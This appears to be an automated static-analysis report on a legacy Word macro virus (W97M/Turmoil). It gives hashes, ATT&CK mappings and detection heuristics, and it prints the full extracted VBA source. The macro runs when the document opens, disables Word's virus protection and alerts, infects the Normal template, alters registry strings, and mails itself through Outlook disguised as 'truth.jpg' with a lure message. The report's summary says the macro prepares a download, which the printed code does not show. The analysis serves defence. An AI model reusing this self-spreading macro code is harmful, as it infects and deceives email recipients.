Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 848d175d21a424df…

MALICIOUS

Office (OLE)

33.5 KB Created: 2003-02-18 22:41:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 3b9cbb48b4740e13b2e6440ed6f62d7a SHA-1: a018cd570fea3c5cc19921099473f5b5b8027ac7 SHA-256: 848d175d21a424df4044efcfe6c3fe4cb9db28a79488cca72ec349b041aa4667
228 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains a Document_Open VBA macro that executes upon opening the document. This macro attempts to write a file to 'c:\turmoil.vxd' and then add it to the document's project, suggesting it's preparing to download and execute a second-stage payload. It also attempts to interact with Outlook, potentially for spreading. The ClamAV detection of 'Doc.Trojan.Turmol-1' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Turmol-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Turmol-1
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    ActiveDocument.SaveAs = "c:\turmoil.doc"
    Set outapp = CreateObject("outlook.application")
    Set mapi = a.GetNameSpace("MAPI")
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
    Private Sub document_open()
    On Error Resume Next

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2079 bytes
SHA-256: 5f86bdb02b900dc2d09b946e85ed10898aee97fcdc1173835e36a88ff9d9fbb2
Detection
ClamAV: Doc.Trojan.Turmol-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub document_open()
On Error Resume Next

With Options
.VirusProtection = 0
.SaveNormalPrompt = 0
.ConfirmConversions = 0
End With
With Application
.EnableCancelKey = wdCancelDisabled
.ScreenUpdating = 0
.DisplayAlerts = wdAlertsNone
.DisplayStatusBar = 0
End With

Set norm = NormalTemplate.VBProject.VBComponents
Set adoc = ActiveDocument.VBProject.VBComponents
Const virii = "W97M/Turmoil"

Open "c:\turmoil.vxd" For Output As #1
Print #1, Application.VBE.ActiveVBProject.VBComponents.Item(1).codemodule.lines(1, Application.VBE.ActiveVBProject.VBComponents.Item(1).codemodule.CountOfLines)
Close #1

If norm.Item(1).codemodule.lines(72, 1) <> "'w97m/turmoil" Then
norm.Item(1).codemodule.AddFromFile ("c:\turmoil.vxd")
End If
If adoc.Item(1).codemodule.lines(72, 1) <> "w97m/turmoil" Then
adoc.Item(1).codemodule.AddFromFile ("c:\turmoil.vxd")
End If

turmoil = Int(Rnd(13) + 1)
If turmoil = 13 Then
System.PrivateProfileString("", "HKEY_USERS\.DEFAULT\CONTROL PANEL\INTERNATIONAL", "s1159") = "Turmoil"
System.PrivateProfileString("", "HKEY_USERS\.DEFAULT\CONTROL PANEL\INTERNATIONAL", "s2359") = "Turmoil"
End If

ActiveDocument.SaveAs = "c:\turmoil.doc"
Set outapp = CreateObject("outlook.application")
Set mapi = a.GetNameSpace("MAPI")
If outapp = "Outlook" Then
mapi.Logon "profile", "password"
For x = 1 To mapi.AddressLists.Count
Set y = mapi.AddressLists(y)
x = 1
Set tml = outapp.CreateItem(0)
For xx = 1 To d.AddressEntries.Count
e = y.AddressEntries(x)
tml.Recipients.Add e
x = x + 1
If x > 101 Then xx = y.AddressEntries.Count
Next xx
tml.Subject = "hello"
tml.Body = ".click to see the naked truth!"
tml.attachments.Add "c:\turmoil.doc", 1, 1, "truth.jpg"
tml.Send
e = ""
Next y
mapi.Logoff
End If

End Sub